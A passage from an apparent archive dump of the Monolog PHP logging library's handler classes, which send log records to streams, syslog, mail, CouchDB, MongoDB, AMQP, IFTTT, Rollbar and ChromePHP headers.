} /** * {@inheritDoc} */ public function getFormatter(): FormatterInterface { $handler = $this->getHandler(); if ($handler instanceof FormattableHandlerInterface) { return $handler->getFormatter(); } throw new \UnexpectedValueException('The nested handler of type '.get_class($handler).' does not support formatters.'); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/DoctrineCouchDBHandler.php000064400000002150147577714370025017 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Formatter\NormalizerFormatter; use Monolog\Formatter\FormatterInterface; use Doctrine\CouchDB\CouchDBClient; /** * CouchDB handler for Doctrine CouchDB ODM * * @author Markus Bachmann */ class DoctrineCouchDBHandler extends AbstractProcessingHandler { /** @var CouchDBClient */ private $client; public function __construct(CouchDBClient $client, $level = Logger::DEBUG, bool $bubble = true) { $this->client = $client; parent::__construct($level, $bubble); } /** * {@inheritDoc} */ protected function write(array $record): void { $this->client->postDocument($record['formatted']); } protected function getDefaultFormatter(): FormatterInterface { return new NormalizerFormatter; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/FallbackGroupHandler.php000064400000003341147577714370024577 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Throwable; /** * Forwards records to at most one handler * * If a handler fails, the exception is suppressed and the record is forwarded to the next handler. * * As soon as one handler handles a record successfully, the handling stops there. * * @phpstan-import-type Record from \Monolog\Logger */ class FallbackGroupHandler extends GroupHandler { /** * {@inheritDoc} */ public function handle(array $record): bool { if ($this->processors) { /** @var Record $record */ $record = $this->processRecord($record); } foreach ($this->handlers as $handler) { try { $handler->handle($record); break; } catch (Throwable $e) { // What throwable? } } return false === $this->bubble; } /** * {@inheritDoc} */ public function handleBatch(array $records): void { if ($this->processors) { $processed = []; foreach ($records as $record) { $processed[] = $this->processRecord($record); } /** @var Record[] $records */ $records = $processed; } foreach ($this->handlers as $handler) { try { $handler->handleBatch($records); break; } catch (Throwable $e) { // What throwable? } } } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/CouchDBHandler.php000064400000004067147577714370023340 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\JsonFormatter; use Monolog\Logger; /** * CouchDB handler * * @author Markus Bachmann */ class CouchDBHandler extends AbstractProcessingHandler { /** @var mixed[] */ private $options; /** * @param mixed[] $options */ public function __construct(array $options = [], $level = Logger::DEBUG, bool $bubble = true) { $this->options = array_merge([ 'host' => 'localhost', 'port' => 5984, 'dbname' => 'logger', 'username' => null, 'password' => null, ], $options); parent::__construct($level, $bubble); } /** * {@inheritDoc} */ protected function write(array $record): void { $basicAuth = null; if ($this->options['username']) { $basicAuth = sprintf('%s:%s@', $this->options['username'], $this->options['password']); } $url = 'http://'.$basicAuth.$this->options['host'].':'.$this->options['port'].'/'.$this->options['dbname']; $context = stream_context_create([ 'http' => [ 'method' => 'POST', 'content' => $record['formatted'], 'ignore_errors' => true, 'max_redirects' => 0, 'header' => 'Content-type: application/json', ], ]); if (false === @file_get_contents($url, false, $context)) { throw new \RuntimeException(sprintf('Could not connect to %s', $url)); } } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new JsonFormatter(JsonFormatter::BATCH_MODE_JSON, false); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/ErrorLogHandler.php000064400000005033147577714370023616 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\LineFormatter; use Monolog\Formatter\FormatterInterface; use Monolog\Logger; use Monolog\Utils; /** * Stores to PHP error_log() handler. * * @author Elan Ruusamäe */ class ErrorLogHandler extends AbstractProcessingHandler { public const OPERATING_SYSTEM = 0; public const SAPI = 4; /** @var int */ protected $messageType; /** @var bool */ protected $expandNewlines; /** * @param int $messageType Says where the error should go. * @param bool $expandNewlines If set to true, newlines in the message will be expanded to be take multiple log entries */ public function __construct(int $messageType = self::OPERATING_SYSTEM, $level = Logger::DEBUG, bool $bubble = true, bool $expandNewlines = false) { parent::__construct($level, $bubble); if (false === in_array($messageType, self::getAvailableTypes(), true)) { $message = sprintf('The given message type "%s" is not supported', print_r($messageType, true)); throw new \InvalidArgumentException($message); } $this->messageType = $messageType; $this->expandNewlines = $expandNewlines; } /** * @return int[] With all available types */ public static function getAvailableTypes(): array { return [ self::OPERATING_SYSTEM, self::SAPI, ]; } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new LineFormatter('[%datetime%] %channel%.%level_name%: %message% %context% %extra%'); } /** * {@inheritDoc} */ protected function write(array $record): void { if (!$this->expandNewlines) { error_log((string) $record['formatted'], $this->messageType); return; } $lines = preg_split('{[\r\n]+}', (string) $record['formatted']); if ($lines === false) { $pcreErrorCode = preg_last_error(); throw new \RuntimeException('Failed to preg_split formatted string: ' . $pcreErrorCode . ' / '. Utils::pcreLastErrorMessage($pcreErrorCode)); } foreach ($lines as $line) { error_log($line, $this->messageType); } } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/AmqpHandler.php000064400000007544147577714370022772 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\JsonFormatter; use PhpAmqpLib\Message\AMQPMessage; use PhpAmqpLib\Channel\AMQPChannel; use AMQPExchange; /** * @phpstan-import-type Record from \Monolog\Logger */ class AmqpHandler extends AbstractProcessingHandler { /** * @var AMQPExchange|AMQPChannel $exchange */ protected $exchange; /** * @var string */ protected $exchangeName; /** * @param AMQPExchange|AMQPChannel $exchange AMQPExchange (php AMQP ext) or PHP AMQP lib channel, ready for use * @param string|null $exchangeName Optional exchange name, for AMQPChannel (PhpAmqpLib) only */ public function __construct($exchange, ?string $exchangeName = null, $level = Logger::DEBUG, bool $bubble = true) { if ($exchange instanceof AMQPChannel) { $this->exchangeName = (string) $exchangeName; } elseif (!$exchange instanceof AMQPExchange) { throw new \InvalidArgumentException('PhpAmqpLib\Channel\AMQPChannel or AMQPExchange instance required'); } elseif ($exchangeName) { @trigger_error('The $exchangeName parameter can only be passed when using PhpAmqpLib, if using an AMQPExchange instance configure it beforehand', E_USER_DEPRECATED); } $this->exchange = $exchange; parent::__construct($level, $bubble); } /** * {@inheritDoc} */ protected function write(array $record): void { $data = $record["formatted"]; $routingKey = $this->getRoutingKey($record); if ($this->exchange instanceof AMQPExchange) { $this->exchange->publish( $data, $routingKey, 0, [ 'delivery_mode' => 2, 'content_type' => 'application/json', ] ); } else { $this->exchange->basic_publish( $this->createAmqpMessage($data), $this->exchangeName, $routingKey ); } } /** * {@inheritDoc} */ public function handleBatch(array $records): void { if ($this->exchange instanceof AMQPExchange) { parent::handleBatch($records); return; } foreach ($records as $record) { if (!$this->isHandling($record)) { continue; } /** @var Record $record */ $record = $this->processRecord($record); $data = $this->getFormatter()->format($record); $this->exchange->batch_basic_publish( $this->createAmqpMessage($data), $this->exchangeName, $this->getRoutingKey($record) ); } $this->exchange->publish_batch(); } /** * Gets the routing key for the AMQP exchange * * @phpstan-param Record $record */ protected function getRoutingKey(array $record): string { $routingKey = sprintf('%s.%s', $record['level_name'], $record['channel']); return strtolower($routingKey); } private function createAmqpMessage(string $data): AMQPMessage { return new AMQPMessage( $data, [ 'delivery_mode' => 2, 'content_type' => 'application/json', ] ); } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new JsonFormatter(JsonFormatter::BATCH_MODE_JSON, false); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/NativeMailerHandler.php000064400000011553147577714370024447 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Formatter\LineFormatter; /** * NativeMailerHandler uses the mail() function to send the emails * * @author Christophe Coevoet * @author Mark Garrett */ class NativeMailerHandler extends MailHandler { /** * The email addresses to which the message will be sent * @var string[] */ protected $to; /** * The subject of the email * @var string */ protected $subject; /** * Optional headers for the message * @var string[] */ protected $headers = []; /** * Optional parameters for the message * @var string[] */ protected $parameters = []; /** * The wordwrap length for the message * @var int */ protected $maxColumnWidth; /** * The Content-type for the message * @var string|null */ protected $contentType; /** * The encoding for the message * @var string */ protected $encoding = 'utf-8'; /** * @param string|string[] $to The receiver of the mail * @param string $subject The subject of the mail * @param string $from The sender of the mail * @param int $maxColumnWidth The maximum column width that the message lines will have */ public function __construct($to, string $subject, string $from, $level = Logger::ERROR, bool $bubble = true, int $maxColumnWidth = 70) { parent::__construct($level, $bubble); $this->to = (array) $to; $this->subject = $subject; $this->addHeader(sprintf('From: %s', $from)); $this->maxColumnWidth = $maxColumnWidth; } /** * Add headers to the message * * @param string|string[] $headers Custom added headers */ public function addHeader($headers): self { foreach ((array) $headers as $header) { if (strpos($header, "\n") !== false || strpos($header, "\r") !== false) { throw new \InvalidArgumentException('Headers can not contain newline characters for security reasons'); } $this->headers[] = $header; } return $this; } /** * Add parameters to the message * * @param string|string[] $parameters Custom added parameters */ public function addParameter($parameters): self { $this->parameters = array_merge($this->parameters, (array) $parameters); return $this; } /** * {@inheritDoc} */ protected function send(string $content, array $records): void { $contentType = $this->getContentType() ?: ($this->isHtmlBody($content) ? 'text/html' : 'text/plain'); if ($contentType !== 'text/html') { $content = wordwrap($content, $this->maxColumnWidth); } $headers = ltrim(implode("\r\n", $this->headers) . "\r\n", "\r\n"); $headers .= 'Content-type: ' . $contentType . '; charset=' . $this->getEncoding() . "\r\n"; if ($contentType === 'text/html' && false === strpos($headers, 'MIME-Version:')) { $headers .= 'MIME-Version: 1.0' . "\r\n"; } $subject = $this->subject; if ($records) { $subjectFormatter = new LineFormatter($this->subject); $subject = $subjectFormatter->format($this->getHighestRecord($records)); } $parameters = implode(' ', $this->parameters); foreach ($this->to as $to) { mail($to, $subject, $content, $headers, $parameters); } } public function getContentType(): ?string { return $this->contentType; } public function getEncoding(): string { return $this->encoding; } /** * @param string $contentType The content type of the email - Defaults to text/plain. Use text/html for HTML messages. */ public function setContentType(string $contentType): self { if (strpos($contentType, "\n") !== false || strpos($contentType, "\r") !== false) { throw new \InvalidArgumentException('The content type can not contain newline characters to prevent email header injection'); } $this->contentType = $contentType; return $this; } public function setEncoding(string $encoding): self { if (strpos($encoding, "\n") !== false || strpos($encoding, "\r") !== false) { throw new \InvalidArgumentException('The encoding can not contain newline characters to prevent email header injection'); } $this->encoding = $encoding; return $this; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/AbstractSyslogHandler.php000064400000006724147577714370025037 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\LineFormatter; /** * Common syslog functionality * * @phpstan-import-type Level from \Monolog\Logger */ abstract class AbstractSyslogHandler extends AbstractProcessingHandler { /** @var int */ protected $facility; /** * Translates Monolog log levels to syslog log priorities. * @var array * @phpstan-var array */ protected $logLevels = [ Logger::DEBUG => LOG_DEBUG, Logger::INFO => LOG_INFO, Logger::NOTICE => LOG_NOTICE, Logger::WARNING => LOG_WARNING, Logger::ERROR => LOG_ERR, Logger::CRITICAL => LOG_CRIT, Logger::ALERT => LOG_ALERT, Logger::EMERGENCY => LOG_EMERG, ]; /** * List of valid log facility names. * @var array */ protected $facilities = [ 'auth' => LOG_AUTH, 'authpriv' => LOG_AUTHPRIV, 'cron' => LOG_CRON, 'daemon' => LOG_DAEMON, 'kern' => LOG_KERN, 'lpr' => LOG_LPR, 'mail' => LOG_MAIL, 'news' => LOG_NEWS, 'syslog' => LOG_SYSLOG, 'user' => LOG_USER, 'uucp' => LOG_UUCP, ]; /** * @param string|int $facility Either one of the names of the keys in $this->facilities, or a LOG_* facility constant */ public function __construct($facility = LOG_USER, $level = Logger::DEBUG, bool $bubble = true) { parent::__construct($level, $bubble); if (!defined('PHP_WINDOWS_VERSION_BUILD')) { $this->facilities['local0'] = LOG_LOCAL0; $this->facilities['local1'] = LOG_LOCAL1; $this->facilities['local2'] = LOG_LOCAL2; $this->facilities['local3'] = LOG_LOCAL3; $this->facilities['local4'] = LOG_LOCAL4; $this->facilities['local5'] = LOG_LOCAL5; $this->facilities['local6'] = LOG_LOCAL6; $this->facilities['local7'] = LOG_LOCAL7; } else { $this->facilities['local0'] = 128; // LOG_LOCAL0 $this->facilities['local1'] = 136; // LOG_LOCAL1 $this->facilities['local2'] = 144; // LOG_LOCAL2 $this->facilities['local3'] = 152; // LOG_LOCAL3 $this->facilities['local4'] = 160; // LOG_LOCAL4 $this->facilities['local5'] = 168; // LOG_LOCAL5 $this->facilities['local6'] = 176; // LOG_LOCAL6 $this->facilities['local7'] = 184; // LOG_LOCAL7 } // convert textual description of facility to syslog constant if (is_string($facility) && array_key_exists(strtolower($facility), $this->facilities)) { $facility = $this->facilities[strtolower($facility)]; } elseif (!in_array($facility, array_values($this->facilities), true)) { throw new \UnexpectedValueException('Unknown facility value "'.$facility.'" given'); } $this->facility = $facility; } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new LineFormatter('%channel%.%level_name%: %message% %context% %extra%'); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/StreamHandler.php000064400000015411147577714370023317 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Utils; /** * Stores to any stream resource * * Can be used to store into php://stderr, remote and local files, etc. * * @author Jordi Boggiano * * @phpstan-import-type FormattedRecord from AbstractProcessingHandler */ class StreamHandler extends AbstractProcessingHandler { /** @const int */ protected const MAX_CHUNK_SIZE = 2147483647; /** @const int 10MB */ protected const DEFAULT_CHUNK_SIZE = 10 * 1024 * 1024; /** @var int */ protected $streamChunkSize; /** @var resource|null */ protected $stream; /** @var ?string */ protected $url = null; /** @var ?string */ private $errorMessage = null; /** @var ?int */ protected $filePermission; /** @var bool */ protected $useLocking; /** @var true|null */ private $dirCreated = null; /** * @param resource|string $stream If a missing path can't be created, an UnexpectedValueException will be thrown on first write * @param int|null $filePermission Optional file permissions (default (0644) are only for owner read/write) * @param bool $useLocking Try to lock log file before doing any writes * * @throws \InvalidArgumentException If stream is not a resource or string */ public function __construct($stream, $level = Logger::DEBUG, bool $bubble = true, ?int $filePermission = null, bool $useLocking = false) { parent::__construct($level, $bubble); if (($phpMemoryLimit = Utils::expandIniShorthandBytes(ini_get('memory_limit'))) !== false) { if ($phpMemoryLimit > 0) { // use max 10% of allowed memory for the chunk size, and at least 100KB $this->streamChunkSize = min(static::MAX_CHUNK_SIZE, max((int) ($phpMemoryLimit / 10), 100 * 1024)); } else { // memory is unlimited, set to the default 10MB $this->streamChunkSize = static::DEFAULT_CHUNK_SIZE; } } else { // no memory limit information, set to the default 10MB $this->streamChunkSize = static::DEFAULT_CHUNK_SIZE; } if (is_resource($stream)) { $this->stream = $stream; stream_set_chunk_size($this->stream, $this->streamChunkSize); } elseif (is_string($stream)) { $this->url = Utils::canonicalizePath($stream); } else { throw new \InvalidArgumentException('A stream must either be a resource or a string.'); } $this->filePermission = $filePermission; $this->useLocking = $useLocking; } /** * {@inheritDoc} */ public function close(): void { if ($this->url && is_resource($this->stream)) { fclose($this->stream); } $this->stream = null; $this->dirCreated = null; } /** * Return the currently active stream if it is open * * @return resource|null */ public function getStream() { return $this->stream; } /** * Return the stream URL if it was configured with a URL and not an active resource * * @return string|null */ public function getUrl(): ?string { return $this->url; } /** * @return int */ public function getStreamChunkSize(): int { return $this->streamChunkSize; } /** * {@inheritDoc} */ protected function write(array $record): void { if (!is_resource($this->stream)) { $url = $this->url; if (null === $url || '' === $url) { throw new \LogicException('Missing stream url, the stream can not be opened. This may be caused by a premature call to close().' . Utils::getRecordMessageForException($record)); } $this->createDir($url); $this->errorMessage = null; set_error_handler([$this, 'customErrorHandler']); $stream = fopen($url, 'a'); if ($this->filePermission !== null) { @chmod($url, $this->filePermission); } restore_error_handler(); if (!is_resource($stream)) { $this->stream = null; throw new \UnexpectedValueException(sprintf('The stream or file "%s" could not be opened in append mode: '.$this->errorMessage, $url) . Utils::getRecordMessageForException($record)); } stream_set_chunk_size($stream, $this->streamChunkSize); $this->stream = $stream; } $stream = $this->stream; if (!is_resource($stream)) { throw new \LogicException('No stream was opened yet' . Utils::getRecordMessageForException($record)); } if ($this->useLocking) { // ignoring errors here, there's not much we can do about them flock($stream, LOCK_EX); } $this->streamWrite($stream, $record); if ($this->useLocking) { flock($stream, LOCK_UN); } } /** * Write to stream * @param resource $stream * @param array $record * * @phpstan-param FormattedRecord $record */ protected function streamWrite($stream, array $record): void { fwrite($stream, (string) $record['formatted']); } private function customErrorHandler(int $code, string $msg): bool { $this->errorMessage = preg_replace('{^(fopen|mkdir)\(.*?\): }', '', $msg); return true; } private function getDirFromStream(string $stream): ?string { $pos = strpos($stream, '://'); if ($pos === false) { return dirname($stream); } if ('file://' === substr($stream, 0, 7)) { return dirname(substr($stream, 7)); } return null; } private function createDir(string $url): void { // Do not try to create dir if it has already been tried. if ($this->dirCreated) { return; } $dir = $this->getDirFromStream($url); if (null !== $dir && !is_dir($dir)) { $this->errorMessage = null; set_error_handler([$this, 'customErrorHandler']); $status = mkdir($dir, 0777, true); restore_error_handler(); if (false === $status && !is_dir($dir)) { throw new \UnexpectedValueException(sprintf('There is no existing directory at "%s" and it could not be created: '.$this->errorMessage, $dir)); } } $this->dirCreated = true; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/MongoDBHandler.php000064400000004761147577714370023357 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use MongoDB\Driver\BulkWrite; use MongoDB\Driver\Manager; use MongoDB\Client; use Monolog\Logger; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\MongoDBFormatter; /** * Logs to a MongoDB database. * * Usage example: * * $log = new \Monolog\Logger('application'); * $client = new \MongoDB\Client('mongodb://localhost:27017'); * $mongodb = new \Monolog\Handler\MongoDBHandler($client, 'logs', 'prod'); * $log->pushHandler($mongodb); * * The above examples uses the MongoDB PHP library's client class; however, the * MongoDB\Driver\Manager class from ext-mongodb is also supported. */ class MongoDBHandler extends AbstractProcessingHandler { /** @var \MongoDB\Collection */ private $collection; /** @var Client|Manager */ private $manager; /** @var string */ private $namespace; /** * Constructor. * * @param Client|Manager $mongodb MongoDB library or driver client * @param string $database Database name * @param string $collection Collection name */ public function __construct($mongodb, string $database, string $collection, $level = Logger::DEBUG, bool $bubble = true) { if (!($mongodb instanceof Client || $mongodb instanceof Manager)) { throw new \InvalidArgumentException('MongoDB\Client or MongoDB\Driver\Manager instance required'); } if ($mongodb instanceof Client) { $this->collection = $mongodb->selectCollection($database, $collection); } else { $this->manager = $mongodb; $this->namespace = $database . '.' . $collection; } parent::__construct($level, $bubble); } protected function write(array $record): void { if (isset($this->collection)) { $this->collection->insertOne($record['formatted']); } if (isset($this->manager, $this->namespace)) { $bulk = new BulkWrite; $bulk->insert($record["formatted"]); $this->manager->executeBulkWrite($this->namespace, $bulk); } } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new MongoDBFormatter; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/SymfonyMailerHandler.php000064400000006715147577714370024671 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Utils; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\LineFormatter; use Symfony\Component\Mailer\MailerInterface; use Symfony\Component\Mailer\Transport\TransportInterface; use Symfony\Component\Mime\Email; /** * SymfonyMailerHandler uses Symfony's Mailer component to send the emails * * @author Jordi Boggiano * * @phpstan-import-type Record from \Monolog\Logger */ class SymfonyMailerHandler extends MailHandler { /** @var MailerInterface|TransportInterface */ protected $mailer; /** @var Email|callable(string, Record[]): Email */ private $emailTemplate; /** * @psalm-param Email|callable(string, Record[]): Email $email * * @param MailerInterface|TransportInterface $mailer The mailer to use * @param callable|Email $email An email template, the subject/body will be replaced */ public function __construct($mailer, $email, $level = Logger::ERROR, bool $bubble = true) { parent::__construct($level, $bubble); $this->mailer = $mailer; $this->emailTemplate = $email; } /** * {@inheritDoc} */ protected function send(string $content, array $records): void { $this->mailer->send($this->buildMessage($content, $records)); } /** * Gets the formatter for the Swift_Message subject. * * @param string|null $format The format of the subject */ protected function getSubjectFormatter(?string $format): FormatterInterface { return new LineFormatter($format); } /** * Creates instance of Email to be sent * * @param string $content formatted email body to be sent * @param array $records Log records that formed the content * * @phpstan-param Record[] $records */ protected function buildMessage(string $content, array $records): Email { $message = null; if ($this->emailTemplate instanceof Email) { $message = clone $this->emailTemplate; } elseif (is_callable($this->emailTemplate)) { $message = ($this->emailTemplate)($content, $records); } if (!$message instanceof Email) { $record = reset($records); throw new \InvalidArgumentException('Could not resolve message as instance of Email or a callable returning it' . ($record ? Utils::getRecordMessageForException($record) : '')); } if ($records) { $subjectFormatter = $this->getSubjectFormatter($message->getSubject()); $message->subject($subjectFormatter->format($this->getHighestRecord($records))); } if ($this->isHtmlBody($content)) { if (null !== ($charset = $message->getHtmlCharset())) { $message->html($content, $charset); } else { $message->html($content); } } else { if (null !== ($charset = $message->getTextCharset())) { $message->text($content, $charset); } else { $message->text($content); } } return $message->date(new \DateTimeImmutable()); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/IFTTTHandler.php000064400000004207147577714370022757 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Utils; /** * IFTTTHandler uses cURL to trigger IFTTT Maker actions * * Register a secret key and trigger/event name at https://ifttt.com/maker * * value1 will be the channel from monolog's Logger constructor, * value2 will be the level name (ERROR, WARNING, ..) * value3 will be the log record's message * * @author Nehal Patel */ class IFTTTHandler extends AbstractProcessingHandler { /** @var string */ private $eventName; /** @var string */ private $secretKey; /** * @param string $eventName The name of the IFTTT Maker event that should be triggered * @param string $secretKey A valid IFTTT secret key */ public function __construct(string $eventName, string $secretKey, $level = Logger::ERROR, bool $bubble = true) { if (!extension_loaded('curl')) { throw new MissingExtensionException('The curl extension is needed to use the IFTTTHandler'); } $this->eventName = $eventName; $this->secretKey = $secretKey; parent::__construct($level, $bubble); } /** * {@inheritDoc} */ public function write(array $record): void { $postData = [ "value1" => $record["channel"], "value2" => $record["level_name"], "value3" => $record["message"], ]; $postString = Utils::jsonEncode($postData); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://maker.ifttt.com/trigger/" . $this->eventName . "/with/key/" . $this->secretKey); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postString); curl_setopt($ch, CURLOPT_HTTPHEADER, [ "Content-Type: application/json", ]); Curl\Util::execute($ch); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/RollbarHandler.php000064400000006524147577714370023466 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Rollbar\RollbarLogger; use Throwable; use Monolog\Logger; /** * Sends errors to Rollbar * * If the context data contains a `payload` key, that is used as an array * of payload options to RollbarLogger's log method. * * Rollbar's context info will contain the context + extra keys from the log record * merged, and then on top of that a few keys: * * - level (rollbar level name) * - monolog_level (monolog level name, raw level, as rollbar only has 5 but monolog 8) * - channel * - datetime (unix timestamp) * * @author Paul Statezny */ class RollbarHandler extends AbstractProcessingHandler { /** * @var RollbarLogger */ protected $rollbarLogger; /** @var string[] */ protected $levelMap = [ Logger::DEBUG => 'debug', Logger::INFO => 'info', Logger::NOTICE => 'info', Logger::WARNING => 'warning', Logger::ERROR => 'error', Logger::CRITICAL => 'critical', Logger::ALERT => 'critical', Logger::EMERGENCY => 'critical', ]; /** * Records whether any log records have been added since the last flush of the rollbar notifier * * @var bool */ private $hasRecords = false; /** @var bool */ protected $initialized = false; /** * @param RollbarLogger $rollbarLogger RollbarLogger object constructed with valid token */ public function __construct(RollbarLogger $rollbarLogger, $level = Logger::ERROR, bool $bubble = true) { $this->rollbarLogger = $rollbarLogger; parent::__construct($level, $bubble); } /** * {@inheritDoc} */ protected function write(array $record): void { if (!$this->initialized) { // __destructor() doesn't get called on Fatal errors register_shutdown_function(array($this, 'close')); $this->initialized = true; } $context = $record['context']; $context = array_merge($context, $record['extra'], [ 'level' => $this->levelMap[$record['level']], 'monolog_level' => $record['level_name'], 'channel' => $record['channel'], 'datetime' => $record['datetime']->format('U'), ]); if (isset($context['exception']) && $context['exception'] instanceof Throwable) { $exception = $context['exception']; unset($context['exception']); $toLog = $exception; } else { $toLog = $record['message']; } // @phpstan-ignore-next-line $this->rollbarLogger->log($context['level'], $toLog, $context); $this->hasRecords = true; } public function flush(): void { if ($this->hasRecords) { $this->rollbarLogger->flush(); $this->hasRecords = false; } } /** * {@inheritDoc} */ public function close(): void { $this->flush(); } /** * {@inheritDoc} */ public function reset() { $this->flush(); parent::reset(); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/Handler.php000064400000002005147577714370022136 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; /** * Base Handler class providing basic close() support as well as handleBatch * * @author Jordi Boggiano */ abstract class Handler implements HandlerInterface { /** * {@inheritDoc} */ public function handleBatch(array $records): void { foreach ($records as $record) { $this->handle($record); } } /** * {@inheritDoc} */ public function close(): void { } public function __destruct() { try { $this->close(); } catch (\Throwable $e) { // do nothing } } public function __sleep() { $this->close(); return array_keys(get_object_vars($this)); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/NullHandler.php000064400000002471147577714370023000 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Psr\Log\LogLevel; /** * Blackhole * * Any record it can handle will be thrown away. This can be used * to put on top of an existing stack to override it temporarily. * * @author Jordi Boggiano * * @phpstan-import-type Level from \Monolog\Logger * @phpstan-import-type LevelName from \Monolog\Logger */ class NullHandler extends Handler { /** * @var int */ private $level; /** * @param string|int $level The minimum logging level at which this handler will be triggered * * @phpstan-param Level|LevelName|LogLevel::* $level */ public function __construct($level = Logger::DEBUG) { $this->level = Logger::toMonologLevel($level); } /** * {@inheritDoc} */ public function isHandling(array $record): bool { return $record['level'] >= $this->level; } /** * {@inheritDoc} */ public function handle(array $record): bool { return $record['level'] >= $this->level; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/ChromePHPHandler.php000064400000012155147577714370023653 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\ChromePHPFormatter; use Monolog\Formatter\FormatterInterface; use Monolog\Logger; use Monolog\Utils; /** * Handler sending logs to the ChromePHP extension (http://www.chromephp.com/) * * This also works out of the box with Firefox 43+ * * @author Christophe Coevoet * * @phpstan-import-type Record from \Monolog\Logger */ class ChromePHPHandler extends AbstractProcessingHandler { use WebRequestRecognizerTrait; /** * Version of the extension */ protected const VERSION = '4.0'; /** * Header name */ protected const HEADER_NAME = 'X-ChromeLogger-Data'; /** * Regular expression to detect supported browsers (matches any Chrome, or Firefox 43+) */ protected const USER_AGENT_REGEX = '{\b(?:Chrome/\d+(?:\.\d+)*|HeadlessChrome|Firefox/(?:4[3-9]|[5-9]\d|\d{3,})(?:\.\d)*)\b}'; /** @var bool */ protected static $initialized = false; /** * Tracks whether we sent too much data * * Chrome limits the headers to 4KB, so when we sent 3KB we stop sending * * @var bool */ protected static $overflowed = false; /** @var mixed[] */ protected static $json = [ 'version' => self::VERSION, 'columns' => ['label', 'log', 'backtrace', 'type'], 'rows' => [], ]; /** @var bool */ protected static $sendHeaders = true; public function __construct($level = Logger::DEBUG, bool $bubble = true) { parent::__construct($level, $bubble); if (!function_exists('json_encode')) { throw new \RuntimeException('PHP\'s json extension is required to use Monolog\'s ChromePHPHandler'); } } /** * {@inheritDoc} */ public function handleBatch(array $records): void { if (!$this->isWebRequest()) { return; } $messages = []; foreach ($records as $record) { if ($record['level'] < $this->level) { continue; } /** @var Record $message */ $message = $this->processRecord($record); $messages[] = $message; } if (!empty($messages)) { $messages = $this->getFormatter()->formatBatch($messages); self::$json['rows'] = array_merge(self::$json['rows'], $messages); $this->send(); } } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new ChromePHPFormatter(); } /** * Creates & sends header for a record * * @see sendHeader() * @see send() */ protected function write(array $record): void { if (!$this->isWebRequest()) { return; } self::$json['rows'][] = $record['formatted']; $this->send(); } /** * Sends the log header * * @see sendHeader() */ protected function send(): void { if (self::$overflowed || !self::$sendHeaders) { return; } if (!self::$initialized) { self::$initialized = true; self::$sendHeaders = $this->headersAccepted(); if (!self::$sendHeaders) { return; } self::$json['request_uri'] = $_SERVER['REQUEST_URI'] ?? ''; } $json = Utils::jsonEncode(self::$json, Utils::DEFAULT_JSON_FLAGS & ~JSON_UNESCAPED_UNICODE, true); $data = base64_encode(utf8_encode($json)); if (strlen($data) > 3 * 1024) { self::$overflowed = true; $record = [ 'message' => 'Incomplete logs, chrome header size limit reached', 'context' => [], 'level' => Logger::WARNING, 'level_name' => Logger::getLevelName(Logger::WARNING), 'channel' => 'monolog', 'datetime' => new \DateTimeImmutable(), 'extra' => [], ]; self::$json['rows'][count(self::$json['rows']) - 1] = $this->getFormatter()->format($record); $json = Utils::jsonEncode(self::$json, null, true); $data = base64_encode(utf8_encode($json)); } if (trim($data) !== '') { $this->sendHeader(static::HEADER_NAME, $data); 